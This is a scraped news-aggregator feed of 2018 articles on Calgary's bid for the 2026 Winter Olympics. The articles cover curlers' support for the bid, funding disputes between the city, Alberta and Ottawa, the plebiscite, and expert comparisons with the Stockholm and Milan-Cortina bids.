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]]> https://briefnews.eu/the-people-have-spoken-calgary-mayor-confirms-2026-olympic-dream-is-dead-after-vote/feed/ 0 Canada's Olympic curlers say 'yes' to Calgary 2026 bid https://briefnews.eu/canadas-olympic-curlers-say-yes-to-calgary-2026-bid/ https://briefnews.eu/canadas-olympic-curlers-say-yes-to-calgary-2026-bid/#respond Fri, 09 Nov 2018 15:45:25 +0000 http://briefnews.eu/canadas-olympic-curlers-say-yes-to-calgary-2026-bid/ THUNDER BAY, ONT. — If it were up to Canada's Olympic curlers, the 2026 Winter Games would be in Calgary. 

Many of this country's past curling champions are all under one roof this week at the Grand Slam Tour Challenge event in Thunder Bay and they're talking about getting the Games back on home soil. 

"It would be awesome," Kevin Martin said. "It would be great to have it that close to home again."

Martin is considered by many to be the best curler ever. Twice he represented Canada in North American Olympics — Salt Lake City in 2002 and Vancouver in 2010. He basked in his golden moment in Vancouver as Canadians broke out in a stirring rendition of "O Canada" in the packed arena during the gold-medal game. 

Martin says nothing ever came close to what he experienced at that home Olympics. 

"You only get one chance in a lifetime to do that. It's second to none," he said. "It's expensive and Alberta's economy isn't great right now. But it would be wonderful if it happened."

Next Tuesday, Calgarians will go to the polls and vote in a plebiscite — a simple yes or no question as to whether or not they want the 2026 Olympics. 

Ben Hebert also played in Vancouver with Martin, as well as last year's Winter Games in Pyeongchang. He says he will be doing everything he can to convince people to vote yes. 

Canada skip Kevin Martin shows off his gold medal after defeating Norway during Olympic men's curling finals action at the Vancouver Olympics in 2010. (Nathan Denette/The Canadian Press)

"I think it would be a great thing for Calgary, especially with oil and gas in the tank a bit. It would be a pick-me-up for the city," Hebert said. 

Hebert says sport has the ability to rally a city, community and country and points to what happened in Vancouver during the 2010 Olympics. He says he's felt that same energy in Calgary when the Flames get on a roll. 

"When the Flames make the playoffs, the city is buzzing. I've been in Calgary for nine years now. I think the no voters, if the Olympics came, would be on cloud nine and supporting our athletes during the Games."

Leaving a legacy

Jennifer Jones says her experience while winning gold for Canada at the 2014 Olympics in Sochi is the highlight of her career. 

"When you take that step on the podium, it felt like we were stepping onto the podium for all of Canada. You feel like you're doing it for everyone who lives here," she said. 

For as euphoric as stepping onto that golden podium was for Jones, she wants to focus on the legacy the Olympics in Calgary could leave. 

"As a mom of two young kids, I would love to see the opportunities it could create for our youth," Jones said. "It makes dreams seem much more possible when it's in your own backyard. It feels more real."

Jones, who is an Olympic, Canadian and world champion, says an Olympics in Canada would keep this country competitive in all winter sports.

"It would be huge for sport in this country. It helps Canada keep up with the rest of the world in terms of performance. And more than anything, it helps our youth have those dreams to shoot for, which is a big part of all of this."

Canada's 1st Olympic curlers support bid

Curling was reintroduced to the Olympic program in 1998 at the Nagano Olympics. The game has exploded in popularity since that time. 

Joan McCusker was the lead for Sandra Schmirler's team that captured Canada's first gold medal at the Olympics. Ever since then, McCusker has travelled to the Winter Games as a commentator. 

She's been paying close attention to the debate in Calgary and is hoping the city votes to move forward in the process. 

"There's a lot to consider. It's a big financial investment but you have to believe in the reward. I think it's going to pass," McCusker said of Tuesday's vote. 

Mike Harris was also in Nagano. He won a silver medal in 1998 and has also been part of curling coverage at the Olympics over the years. 

Harris understands people's apprehension over hosting the Olympics. 

"Now that I'm older and I've been to a bunch of Games, I can see how it can be costly to a country if it's not planned properly," Harris said. "As a Canadian, I'd love to see them host but I understand the caution."

The bid committee still hasn't outlined where curling would be hosted if the Olympics were in Calgary in 2026, but McCusker says the location doesn't really matter when it comes to the popularity of the sport in Canada.

"Curling would do really, really well and a big arena to play in would be fantastic. It would be packed."
 

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]]> https://briefnews.eu/canadas-olympic-curlers-say-yes-to-calgary-2026-bid/feed/ 0 Have your say: Should Calgary host the 2026 Olympics? https://briefnews.eu/have-your-say-should-calgary-host-the-2026-olympics/ https://briefnews.eu/have-your-say-should-calgary-host-the-2026-olympics/#respond Thu, 08 Nov 2018 05:49:05 +0000 http://briefnews.eu/have-your-say-should-calgary-host-the-2026-olympics/

When Canada has hosted an Olympic Games in the past, it has been portrayed as an event the entire country can feel proud about hosting.

The proposed bid by Calgary to host the Winter Games in 2026 is no different. Yes, the Games would physically be contested in Calgary, but it is something that the entire country could celebrate.

On Nov. 13, Calgarians will have a chance to decide if they think hosting the Olympics is a good idea. But we thought it would be a good idea to give the whole country an (unofficial) say.

Here are some facts to help familiarize yourself with the pros and cons of each side, and then you can vote in our poll at the bottom of the story asking whether you think Calgary should host the 2026 Olympics.

Let the real campaign begin

After last week's contentious city council meeting that pushed Calgary's potential Olympic bid to the brink, it's time to vote.

The city will hold a non-binding plebiscite (basically another name for a referendum) on Nov. 13, and the question for Calgarians will be simple: Are you for or are you against Calgary hosting the 2026 Olympic and Paralympic Winter Games?

Residents will have two choices: "I am for Calgary hosting" or "I am against Calgary hosting."

The vote is technically nonbinding, but will undoubtedly guide what happens next. And if the city council vote is any indication, it will be close.

Watch a quick explainer on the Calgary plebiscite:

CBC Sports' Anson Henry breaks down the referendum facing Calgary voters. 1:20

Some things to consider

Do we know enough about how much it would cost?

The process of bidding for an Olympics is usually an opaque one. Taxpayers who will actually pay the bill for the Games are usually told very little, only to be left with a massive bill after the party leaves town. Details about the Games are hashed out by unknown sportocrats in plush European hotels.

By this standard, Calgary's potential bid for the 2026 Winter Olympics has been quite transparent. Maybe a little too transparent.

In terms of public money needed, organizers have pegged the figure at nearly $ 3 billion. The breakdown would be nearly $ 1.5 billion from Ottawa. Calgary taxpayers are being asked to pitch in $ 370 million, while the province of Alberta would kick in $ 700 million.

Can these numbers be trusted?

These numbers are part of a proposed budget that has been put together more than eight years ahead of the Olympics. Even on the floor of Calgary council, there was widespread confusion about how these figures were arrived at and what exactly was covered.

For example, the budget was trimmed by $ 150 million after the RCMP found efficiencies in its initial security plan. Remember, it was RCMP officials, among others, that grossly underestimated the security costs associated with the Vancouver Olympics. The security budget is now pegged at $ 610 million. In Vancouver, the final bill came in at $ 900 million.

At the same time, bid supporters have said that the city would see a healthy return on any investment — and then some.

On the Calgary 2026 website, readers are told: "The City of Calgary would need to invest $ 390 million and for every dollar Calgary invests, it would get $ 10 in return."

The 'No Calgary Olympics' side asks citizens to consider how this money could be better spent. The group makes a number of suggestions, which include public housing and environmental protection.

What are we getting?

A major selling point of Olympic bids is usually the windfall of infrastructure that accompanies any winning bid.

It was initially hoped that a rail link to the airport, an expanded highway and a much-needed new NHL-size arena would be central to the Calgary bid. 

But in a effort to make this bid financially prudent, many of these infrastructure enticements are now off the table.

The IOC actually has encouraged potential bidders to focus on refurbishing and rehabbing existing venues in an effort to curtail costs. There are no plans for an NHL-size arena or a rail link to the airport. Instead, the plan calls for 11 existing venues to be refurbished and only two new venues to be built.

Is it worth it?

If you love the thrill of the Olympic Games and take great national pride in success and medals, then an Olympic bid is an easy yes — no matter what part of the country you live in. If you think it's important to have a hub of world-class facilities for our elite athletes in Calgary, then it's an easy yes.

From the Calgary 2026 website: "This is not a nostalgia exercise. We believe that it's a fundamental privilege to ask big questions about the future of our city. To imagine what's possible and to consider how, by hosting the 2026 Games, we can work together to realize many of our current community needs and priorities."

Others see it quite differently. Groups such as 'No Olympics Calgary' have consistently painted this as a project Calgary doesn't need.

From its website: "There are many reasons to be concerned about being a host city. And these concerns are distinct from whether a person supports the Olympics and sport. The IOC has structured a bid process and then a host city relationship that puts undue risk on that host city. There is a reason that every Olympics has had cost overruns. Finally, for Calgary in 2018, it's not clear that hosting the IOC for three weeks in 2026 is the right goal at the right time."

Time for you to have your say. Vote in the poll below: Should Calgary host the 2026 Olympics?

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]]> https://briefnews.eu/have-your-say-should-calgary-host-the-2026-olympics/feed/ 0 Federal, provincial governments reach agreement on funding proposal for Calgary 2026 Olympic bid https://briefnews.eu/federal-provincial-governments-reach-agreement-on-funding-proposal-for-calgary-2026-olympic-bid/ https://briefnews.eu/federal-provincial-governments-reach-agreement-on-funding-proposal-for-calgary-2026-olympic-bid/#respond Wed, 31 Oct 2018 11:10:25 +0000 http://briefnews.eu/federal-provincial-governments-reach-agreement-on-funding-proposal-for-calgary-2026-olympic-bid/

The federal and provincial governments have reached an agreement to consider a funding proposal that would mean the public dollars are in place to fund the 2026 Winter Olympics in Calgary, if a hesitant city council agrees to sign on. 

The Calgary 2026 bid corporation sent out an announcement at 10 p.m. M.T. Tuesday that included a letter saying the required total of $ 2.875 billion of public funds, in 2018 dollars, would be met.

It was signed by Alberta Premier Rachel Notley, federal Minister of Sport Kirsty Duncan and included a space for Calgary Mayor Naheed Nenshi's signature.

The announcement comes late on the same day the chair of the City of Calgary's Olympic assessment committee recommended to council that it end its pursuit of the 2026 Winter Games and cancel a plebiscite scheduled for Nov. 13.

"This is a proposal that makes sense and is a good deal for Calgarians. I'm confident we and our government partners can agree to move forward and reach an agreement in principle," said Scott Hutcheson, board chair of the Calgary 2026 bid corporation, in the emailed release.

"I know City Council understands how important this is to Calgary, that they know what's at stake here, and that they will show their strong leadership and allow Calgarians to decide the outcome of the Olympic and Paralympic bid at a plebiscite Nov. 13."

Bid's future up in the air

That plebiscite's future — and the future of the bid itself — was set to be decided by city council first thing Wednesday.

Coun. Evan Woolley said Tuesday it wouldn't make sense to move forward without a funding agreement in place between municipal, provincial and federal levels of government — something they up until now hadn't been able to forge amid public spats on the weekend and a marathon negotiation session Tuesday.

Woolley said he was "deeply disappointed" but that with the funding costs still not nailed down, it wasn't fair to expect Calgary voters to make an informed decision in just two weeks.

His comments came after the Olympic assessment committee met behind closed doors for four hours, finally deciding to send Woolley's motion with a series of recommendations on killing the bid to council for a vote.

If 10 of council's 15 members vote in support of the motion on Wednesday, Calgary's Olympic bid is dead.

Revised cost to host

Calgary 2026 Olympic bid corporation estimates the Winter Games would cost $ 5.23 billion, with about $ 3 billion of that needing to come from the three levels of government.​

But the letter states that the new funding proposal is "based on a revised Games concept with a total public funding request of $ 2.875 billion," but includes no word on how this lower cost would impact the draft hosting plan.

Calls to Calgary's mayor and the head of the city's bid assessment committee were not returned Tuesday night.

James Millar, communications director for the Calgary 2026 bid corporation, said the lowered cost was because they were able to find "efficiencies" in the budget.

"Discussions are still ongoing with the city, but we felt it was important once we got the confirmation from the province and federal government this evening, just to be fully transparent, put out the update and put out the numbers best we could this evening in lieu of knowing there was a vote tomorrow morning at council about this matter," Millar said.

Millar said the efficiencies included lowering the estimate of how much security would cost, based on revised numbers from the RCMP.

"We think we have a good deal for Calgarians," said Millar. 

The letter sets out the proposed contributions from each level of government:

  • From the City of Calgary, $ 370 million in cash, and $ 200 million in insurance redemption which would cover a "defined contingency."
  • From the City of Calgary and Government of Alberta, $ 150 million in pre-authorized improvements to Victoria Park and access to the Calgary Stampede grounds.
  • From the Government of Alberta, $ 700 million in cash.
  • From the Government of Canada, $ 1.423 billion, which matches the amounts committed to the core event costs by the province, city and Town of Canmore; also, $ 30 million in "leveraging initiatives" which the letter said are identified in the hosting plan.

The $ 700-million figure matched an earlier pledge from the province, while the federal government had previously said it would contribute about $ 1.75 billion in 2026 dollars ($ 1.5 billion in today's dollars). The federal contribution would hold only if the city and province's total contribution matched, the city said.

That meant the city would need to come up with $ 800 million — an amount Nenshi has called "not a good deal." 

How the city would fund the proposal was not immediately clear.

Coun. Jeromy Farkas, who has been an outspoken critic of the bid, posted on social media that the funding proposal "invites more questions than answers."

He said he was worried about where costs had been cut in the draft plan, adding that he dislikes the idea of the city carrying risk of cost overruns.

The province has also said its money was contingent on Calgarians supporting the bid in the Nov. 13 plebiscite, regardless of turnout.

With files from Scott Dippel, Carolyn Dunn.

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]]> https://briefnews.eu/federal-provincial-governments-reach-agreement-on-funding-proposal-for-calgary-2026-olympic-bid/feed/ 0 Council's Olympic committee will be asked to cancel Calgary 2026 bid and plebiscite https://briefnews.eu/councils-olympic-committee-will-be-asked-to-cancel-calgary-2026-bid-and-plebiscite/ https://briefnews.eu/councils-olympic-committee-will-be-asked-to-cancel-calgary-2026-bid-and-plebiscite/#respond Tue, 30 Oct 2018 09:43:15 +0000 http://briefnews.eu/councils-olympic-committee-will-be-asked-to-cancel-calgary-2026-bid-and-plebiscite/ A recommendation will be brought forward to Calgary city council's Olympic assessment committee Tuesday to cancel the bid process for the 2026 Winter Olympics as well as the Nov. 13 plebiscite, CBC News has confirmed.

The city and federal government were unable to reach a successful conclusion to funding talks on Monday.

Coun. Joe Magliocca said if the negotiations are ongoing, "it doesn't really matter because tomorrow, it's going to be the end of the Olympic bid."

Magliocca said the committee meeting has been moved from Tuesday afternoon to 9:30 a.m.

"Unless something changes dramatically in the next hour or so, I have a hard time seeing how we continue with this bid past tomorrow's Olympic committee meeting," said Coun. Evan Woolley, who is chair of the committee.

The mayor's office declined to comment on the recommendation to cancel the bid process.

If the assessment committee does decide to end the bid, it would be sent to council for a final vote on Wednesday, several members of city council confirmed.

Ottawa says no additional money on table

Canada's minister of sport reiterated early Monday the federal government is continuing to negotiate with the city and province over an Olympic funding formula, but no additional money will be offered despite the city and province's concerns.

Kirsty Duncan appeared on the Calgary Eyeopener, where she said the federal government has made clear "since March 2018" that it will fund up to 50 per cent of the public contribution toward the 2026 Olympic Games if Calgary is chosen as the host city.

"That is the policy on our website, and we've done that. We've come forward with a commitment of $ 1.75 billion," she said, referencing a Friday announcement.

Coun. Diane Colley-Urquhart, one of the members of the Olympic assessment committee, tweeted about Duncan's comments, saying "and now we pull the pin," seemingly referring to ending the bid process.

And Coun. Jeromy Farkas said in an emailed statement he will be urging the assessment committee to cancel the Nov. 13 plebiscite and end the bid process even if a recommendation is not brought forward.

"Over the last few days, information has emerged confirming that there is no viable funding agreement for the 2026 Olympic Games bid," said Farkas.

"Calgarians were promised budget and funding details a full month before the plebiscite, and it's become clear that they will never get the complete details required for a fair and informed vote."

Calgary's Olympic BidCo estimates a 2026 Winter Games would cost $ 5.23 billion, with $ 3 billion of that coming from the public purse.

The $ 1.75 billion commitment from the feds is in 2026 dollars, which equates to $ 1.5 billion in 2018 dollars, or half the needed amount.

Federal Minister of Sport Kirsty Duncan told the Calgary Eyeopener that the federal government will fund only up to 50 per cent of the public money needed to host the Olympics if Calgary is chosen. (Katerina Georgieva/CBC)

"We have been clear since the beginning we would fund up to 50 per cent, we would not go above the 50 per cent and we have never wavered from that position," said Duncan.

Duncan also pointed out the federal contribution would match the provincial and municipal amounts.

The province has previously said it would contribute $ 700 million, while the city hasn't unveiled its funding plan yet. Based on the other two orders of government, Calgary would have to contribute $ 800 million to get the maximum federal contribution.

Calgary Mayor Naheed Nenshi and Alberta Finance Minister Joe Ceci expressed outrage over the weekend at the federal announcement, with Ceci calling it "bad faith" and saying he understood there wouldn't be a matching condition attached.

Alberta Finance Minister Joe Ceci says the province has no more money to offer a Calgary Olympic bid and again called on the federal government to drop its matching condition. (CBC)​

Nenshi also penned a letter to Prime Minister Justin Trudeau on Friday, saying he would ask city council to scrap the bid — ahead of a Nov. 13 plebiscite — if an agreement couldn't be reached by Monday.

The city's Olympic assessment committee is scheduled to meet Tuesday and council is set to meet for a strategy session on Wednesday.

Ottawa vague on negotiation details

Pressed repeatedly by Eyeopener host David Gray on what the three sides are negotiating if none are willing to change their position, Duncan was non-committal in her answers.

We ask Minister Kirsty Duncan to clarify the government's announcement on Olympic funding. 7:20

"It's been a busy weekend and people are working hard. I'm proud to work with our partners, the City of Calgary and the Province of Alberta, and we keep doing the work," she said.

"I'm well aware of the timelines for the plebiscite. We support that Calgarians should make their voice heard, and should Calgarians decide to go forward with a bid, we will be right there beside them and we're still working at it, we're still at the table."

Robert Livingstone, who runs GamesBids.com — a website that tracks Olympic bids — said he wasn't at all surprised by the federal position.

"Honestly, I would have been surprised to hear that the dollar matching concept would have been dropped, so there's miscommunication at some level somewhere, and I'm not sure where that would have come from," he said.

"It is a policy the federal government has used to fund sports events for years now. So I don't see why it would have been different for Calgary and why they would have made a different plan, unless there was some agreement made back in March."

Feds need to deliver original promise: Ceci

Speaking in Edmonton on Monday, Ceci said negotiations continue but the province has no more money to offer and called on the federal government to remove the matching condition. 

"Seven hundred million dollars is all we can do," he said. 

"That being said, there is a path forward for this bid and it relies heavily on the federal government coming to the table with what they originally promised the province and the City of Calgary during negotiations. If the feds can commit $ 1.75 billion in 2018 dollars to this project and drop this 50/50 funding rule, then we have what we need and the bid can go ahead to plebiscite."

Despite Duncan's assertions, Ceci said the 50/50 rule was not discussed during the negotiations.

"This was learned through the news last week. This was a surprise to us," said Ceci. 

Report shows cost overruns, revenue surpluses

Calgary's BidCo also issued results Monday of a study looking at Olympic cost overruns and revenue surpluses between 2000 and 2018

The study was done by two professors and a PhD student at Johannes Gutenberg University Mainz in Germany and the Pantheon-Sorbonne University in France.

"The report intentionally excludes major infrastructure not needed to stage the Games," it reads.

"These projects, such as roads, trains and public facilities, often complement the Games, are accelerated to coincide with the Games and may be part of the overall Games legacy. They are not, however, required to stage the Games and as such are not counted as a Games cost."

The report found that with the exception of the 2016 Summer Olympics in Rio and the 2014 Winter Games in Sochi, each event analyzed either broke even or had a surplus.

"This report clearly shows that, historically, Games organizing committees either balance their budgets or realize a surplus through good planning and rigorous financial management," said BidCo chair Scott Hutcheson in a release.

"All Olympic Winter Games in this report balanced their books, and Vancouver 2010, which was modelled on the [1988] Calgary Games, showed that we host Games well in Canada and we'll do so again in 2026."

Tourism Calgary Cindy Ady says a 2026 Olympic Games in Calgary would be a $ 5-billion injection into the local economy. (Kate Adach/CBC)

Should Calgary be chosen, it would be a much-needed economic boost, said Tourism Calgary CEO Cindy Ady.

"This is almost $ 5 billion being injected into the Calgary economy when it's been through a pretty tough recession and is looking forward as to how it redefines itself and where it's going to go in the future," she said.

"Relative to just tourism, though, one out of every 10 Calgarians make their living in tourism. So if we were to go back to previous Games, whether it be Vancouver or Salt Lake or others, for sure the main beneficiary is the tourism industry. Vancouver had a double-digit increase post-Games, and every year since they've had double-digit increases … it's the billion-dollar brand push that you won't get in any other way."

Coun. Jeff Davison said in a tweet that whether or not the bid proceeds, he and the assessment committee still intend to pursue a new event centre for the city. 

Nonexistent communication on process: councillor

Magliocca said he's glad the bid will likely end on Tuesday, adding that he only wishes it had happened sooner.

"I'm just heartbroken we had to spend all this extra money for no reason … we could have done it a long time ago," he said.

The councillor said communications on funding negotiations and the bid process have been almost nonexistent.

"None of us have been kept in the loop," he said. "None of us knew what was going on. I don't know where they're getting these numbers, I don't know where Mary [Moran] gets her numbers, saying that we knew the provincial government was only giving us $ 700 million. 

"Why didn't we know this? We should have been more transparent … I just don't know who dropped the ball here."

With files from Scott Dippel, Michelle Bellefontaine, Kate Adach, the Calgary Eyeopener.

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]]> https://briefnews.eu/councils-olympic-committee-will-be-asked-to-cancel-calgary-2026-bid-and-plebiscite/feed/ 0 Alberta pledges maximum of $700M for possible 2026 Calgary Olympics https://briefnews.eu/alberta-pledges-maximum-of-700m-for-possible-2026-calgary-olympics/ https://briefnews.eu/alberta-pledges-maximum-of-700m-for-possible-2026-calgary-olympics/#respond Fri, 12 Oct 2018 21:46:07 +0000 http://briefnews.eu/alberta-pledges-maximum-of-700m-for-possible-2026-calgary-olympics/

The Alberta government pledged $ 700 million on Friday for a potential Calgary Winter Olympics, with conditions. 

In a letter from Finance Minister Joe Ceci to Mayor Naheed Nenshi and Kirsty Duncan, federal minister of science and sport, the province said the money is contingent on "the majority of Calgarians supporting the bid in the November 13th plebiscite."

Another condition was increased transparency requirements.

"Transparency is an important principle for our government," reads the letter.  "As the Games will cost $ 3B of public funds, we will make a funding requirement that Calgary 2026 become subject to provincial transparency and freedom of information laws, or other equivalent rules or regulations."

$ 3B needed in public funds

Calgary 2026, the bid corporation, has predicted $ 5.23 billion would be needed to host the 2026 Winter Olympics, although critics call that cost projection optimistic. 

The organization said $ 3 billion of that would need to come from various levels of government, with the remainder paid for by Games' revenues.

It was expected the province would provide $ 1 billion for the Games, with the federal contribution expected to be $ 1.5 billion.

Speaking to reporters on Friday afternoon, Ceci said his government was comfortable it could manage the $ 700 million contribution and still balance the books by 2023. 

He said he's confident the other levels of government can provide the needed funding should a bid proceed, and that no more provincial money would be forthcoming. 

City and bid corporation response

Nenshi and Coun. Evan Woolley, who chairs the Olympic assessment committee, said in a statement that they're "pleased" the province has announced its intentions.

"We have to analyze this announcement, while continuing our conversations with the Government of Canada," reads the statement. "We imagine there will be more to say about the city and federal government contributions in the next few days."

The chair of Calgary 2026, Scott Hutcheson, said the organization is focused on providing information and "engaging" with Calgarians. 

"Today's announcement demonstrates solid progress and support from the Government of Alberta and we are thankful for that," he said in a statement. 

"We are also pleased our other government partners — the City of Calgary and the federal government — continue to move forward with their discussions and negotiations. We will continue to offer our support, where needed."

What the money buys

The plan calls for $ 400 million on two new venues — a fieldhouse and mid-sized arena — and $ 500 million to refurbish old facilities that would be included in a bid, many of which date back to when Calgary held the 1988 Winter Games.

Some events would be held west of Calgary in the Rocky Mountain town of Canmore, at the Nakiska ski resort in Kananaskis Country and as far away as Whistler, B.C.

The plan includes $ 583 million for temporary accommodations for athletes, media and officials that would be converted into mostly affordable housing in the long term.

Documents obtained by CBC News also show not all cost considerations are included in Calgary 2026's estimates, including infrastructure costs to be borne by the city.

Province won't provide more

The province had promised to make its funding intentions clear at least 30 days prior to Calgary's non-binding plebiscite on whether or not to host the Games and fulfilled that promise on Friday. That plebiscite is scheduled for Nov. 13. 

But it made it clear it's not interested in providing any more than it promised. 

"As you know, the Government of Alberta will not be able to provide any additional funds that may be required, including those to cover revenue shortfalls or cost overruns," reads the letter from Ceci. "Moreover, we will not be providing any form of guarantee for additional costs arising from any source."

The federal government has still not announced how much it would contribute if Calgary decides to pursue a bid and wins. 

Other bids

There are three bids still in the running for the 2026 Games: Calgary, Stockholm and a combined Italian bid including Milan and Cortina.

Reports on Friday, however, suggest Stockholm's bid is at risk of falling apart. 

The deadline to submit a 2026 bid to the International Olympic Committee is Jan. 11. The successful host city is to be announced in June.

The city of Calgary has an online hub of 2026 information and Calgary 2026 has also posted bid information.

With files from The Canadian Press.

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]]> https://briefnews.eu/alberta-pledges-maximum-of-700m-for-possible-2026-calgary-olympics/feed/ 0 Pros and cons of Calgary and competitors for 2026 Winter Olympics https://briefnews.eu/pros-and-cons-of-calgary-and-competitors-for-2026-winter-olympics/ https://briefnews.eu/pros-and-cons-of-calgary-and-competitors-for-2026-winter-olympics/#respond Fri, 05 Oct 2018 11:36:25 +0000 http://briefnews.eu/pros-and-cons-of-calgary-and-competitors-for-2026-winter-olympics/ What began as a robust group of potential host cities for the 2026 Winter Olympics has been reduced to three remaining candidates.

On Thursday, the IOC approved Calgary, Stockholm and a combined Italian bid involving Milan and the northern alpine region of Cortina d'Ampezzo to move forward with bids for the 2026 Winter Olympics.

The bidding process has seen multiple cities drop out, including Sapporo, Japan and Sion, Switzerland because of political opposition and concerns about unknown costs. 

IOC president Thomas Bach announces 3 finalists:

International Olympic Committee president Thomas Bach announces that Calgary, Stockholm and Milan/Cortina d'Ampezzo will be proposed as official candidates to host the 2026 Winter Olympics. 2:32

The IOC will announce the winning city in September 2019. 

So who will win?

CBC Sports reached out to three experts familiar with the Olympic bidding process to help evaluate the strengths and weaknesses of the remaining three candidates. Robert Livingstone runs the website Gamesbids.com and follows the process closely. Lisa Delpy is the director of the sport management program at George Washington University in Washington, D.C., and has written extensively about the bidding process. Dave Doroghy is an international sports marketing executive who was involved in the successful Vancouver 2010 and London 2012 Olympic bids.

Here is their analysis:

Calgary

Pros: Calgary's bid has a number of things going for it. First off, supporters of the bid have been working on it longer than the competition. Also, Canada is a winter nation with a strong track record of hosting the Olympics and there are existing facilities from Calgary's 1988 Winter Games and Vancouver's in 2010. 

Livingstone: "It's a very well-organized project that's been going on for two three years, which is a lot more we can then we can say with the other bids. There's a lot of confidence, there's facilities in place in Calgary [that would be upgraded or renovated] and a chance to build on a Olympic legacy that still resonates from 1988. The potential legacy is a valuable legacy. They don't anticipate white elephants."

Doroghy:  "Canada has a great reputation for hosting great Olympic Games. It's a safe destination to go to. The IOC and world look upon Canada as a nation that can not only organize Winter Games but do it with a great spirit. It all boils down to government backing and the degree to which the federal, provincial and municipal governments will get behind it. In Canada, the federal government backing of $ 1.5 billion and the statements made to date by the provincial government all seem very positive when it comes to government backing — and that's important."  

Cons: The Calgary bid has a number of things working against. It is holding a plebiscite on Nov. 13 that will ask Calgarians if they want to continue pursuing the Games. It's non-binding, but an overwhelming result on either side will go a long way toward shaping political decisions going forward.

And a vocal opposition group, No Calgary, has mobilized and is diligently working to shape public opinion ahead of the November vote.

Beyond that, there is the familiarity factor.

Delpy: "The problem is now, OK, you've had 2010, you've had 1988, and then you have 2026. That's a lot of Winter Olympics in one country. Also, the problem with Calgary is you have an opposition group that's pretty strong. Also, Canada is hosting the 2026 World Cup. So there's a lot of concern about the money you're going to have to upgrade."

Doroghy: "The positive that Canada has hosted fantastic games can also work as a negative. Many people are asking is it fair to have an Olympics for the fourth time in such a short period. The Games can't keep being awarded to the same countries over and over again."

Stockholm

Stockholm represents Sweden's strong history in Winter Olympics. (Henrik Montgomery/Associated Press)

Pros: The bid has strong support from the Swedish Olympic Committee and proposes very little in terms of new buildings and facilities. It also has an advantage within the IOC, according to Delpy: Sweden's Gunilla Lindberg is a longtime member of its powerful executive.

Delpy: "Right now I see it as the strongest bid. They're known for winter sports. So Sweden typically does well in the Winter Games. They also have the climate and they have the mountains. Stockholm has the hotels and it's known for tourists as a popular destination."

Livingstone: "Building a couple of new venues that they need and the fact it's a strong winter sports country that has never hosted the Winter Olympics is a plus."

Cons: There is no government backing at this point.

Livingstone: "They have zero government interest in it — none at any level. Nobody wants to talk about it, which is a big problem because they need all levels of government to provide guarantees."

Doroghy: "The government is not backing this bid but despite this, the Swedish Olympic Committee continues to move forward with the application. Government support is key because it says that no matter what goes wrong, where we go off the rails, the government will be there with a guarantee. That doesn't exist in Sweden right now. It is safe, a great tourist destination and a chance for the IOC to return the Olympics to Europe, but there doesn't seem to be the strong commitment needed from the Swedish government."

Cortina d'Ampezzo and Milan

Milan's bid is shared with the northern Italian ski region of Cortina d'Ampezzo. (Luca Bruno/Associated Press)

Pros: Italy has a strong Olympic tradition having hosted both Winter and Summer Olympics previously.

Livingstone: "They have that Olympic tradition. They have the infrastructure. Cortina hosted the 1956 Games and the facilities would obviously have to be upgraded, but they have a start there. Milan can definitely host a lot of the ice events as they've got arenas there and other infrastructure. Across the region, they have ski facilities. They wouldn't have to build too much. And they are that traditional winter atmosphere the IOC is looking for and it's in Europe and the IOC really wants to be there. So that's a big plus."

Cons: Italy's financial issues are a concern for the IOC.

Livingstone: "They're just so disorganized and so embedded in politics that it's hard. The Rome bid for the 2020 and 2024 Olympics didn't make it to the end because politics got in the way and they lost support. There's no answer to whether the IOC will support something that doesn't have financial backing from the federal government. There are just too many question marks and based on experience with Italy, there's a possibility it won't survive."

Delpy: "The Italian Olympic Committee is very wealthy, but it has no government money. You know Italy is having a hard time right now. Also, Turin 2006 was kind of a bust in terms of spirit and organization. So there's questions in terms of the IOC having confidence they will be able to pull it off successfully."

Predictions:

Delpy:

  1. Stockholm
  2. Calgary
  3. Cortina D'Ampezzo /Milan

Doroghy:

  1. Calgary
  2. Stockholm
  3. Milan/Cortina D'Ampezzo

Livingstone:

  1. Milan/Cortina D'Ampezzo
  2. Calgary
  3. Stockholm

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]]> https://briefnews.eu/pros-and-cons-of-calgary-and-competitors-for-2026-winter-olympics/feed/ 0 Calgary on short list for 2026 Winter Olympics https://briefnews.eu/calgary-on-short-list-for-2026-winter-olympics/ https://briefnews.eu/calgary-on-short-list-for-2026-winter-olympics/#respond Thu, 04 Oct 2018 22:52:51 +0000 http://briefnews.eu/calgary-on-short-list-for-2026-winter-olympics/

A potential Calgary bid for the 2026 Winter Games is one of three that will be proposed as an official candidate for approval, International Olympic Committee president Thomas Bach said Thursday.

Stockholm and the combined Italian bid of Milan and Cortina d'Ampezzo will also be proposed for approval by the IOC's full membership next week, while the Turkish city of Erzurum has been dropped from the bidding contest.

The proposal by the IOC's executive board followed recommendations by a working group assessing the potential candidates.

Calgary, which hosted the Winter Olympics in 1988, has yet to decide whether it wants to host another Games. A plebiscite is scheduled for Nov. 13 asking Calgarians if they want the Games again.

IOC vice-president Juan-Antonio Samaranch Jr. says telecommunications, transport and airports were "a little challenging" for Erzurum.

"They have all our respect and we will continue to talk to them," the IOC official said.

Erzurum, in eastern Turkey, had also considered using facilities and venues in Russia.

Turkey's latest sporting rejection came one week after it lost out to Germany over the right to stage soccer's 2024 European Championship. The country had also failed with bids to host Euro 2008, 2012 and 2016.

In addition, Istanbul is a five-time loser in Summer Games bidding, including the 2020 Olympics to be held in Tokyo.

Bids from Sion (Switzerland), Innsbruck (Austria) and Sapporo (Japan) had also previously failed.

The bid process has been revised and made cheaper for potential bidders, aiming to ease concerns of European voters who have consistently rejected Olympic plans since Russia spent US$ 51 billion on massive infrastructure linked to the 2014 Sochi Winter Games.

The 2026 vote is scheduled next September at an IOC meeting which likely must be moved from its intended venue, Milan.

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]]> https://briefnews.eu/calgary-on-short-list-for-2026-winter-olympics/feed/ 0 IOC narrows list of potential 2026 Olympic hosts to Calgary, Stockholm and Cortina-Milan https://briefnews.eu/ioc-narrows-list-of-potential-2026-olympic-hosts-to-calgary-stockholm-and-cortina-milan/ https://briefnews.eu/ioc-narrows-list-of-potential-2026-olympic-hosts-to-calgary-stockholm-and-cortina-milan/#respond Thu, 04 Oct 2018 18:38:32 +0000 http://briefnews.eu/ioc-narrows-list-of-potential-2026-olympic-hosts-to-calgary-stockholm-and-cortina-milan/

A potential Calgary bid for the 2026 Winter Games is one of three that will be proposed as an official candidate for approval, International Olympic Committee president Thomas Bach said Thursday.

Stockholm and the combined Italian bid of Milan and Cortina d'Ampezzo will also be proposed for approval by the IOC's full membership next week, while the Turkish city of Erzurum has been dropped from the bidding contest.

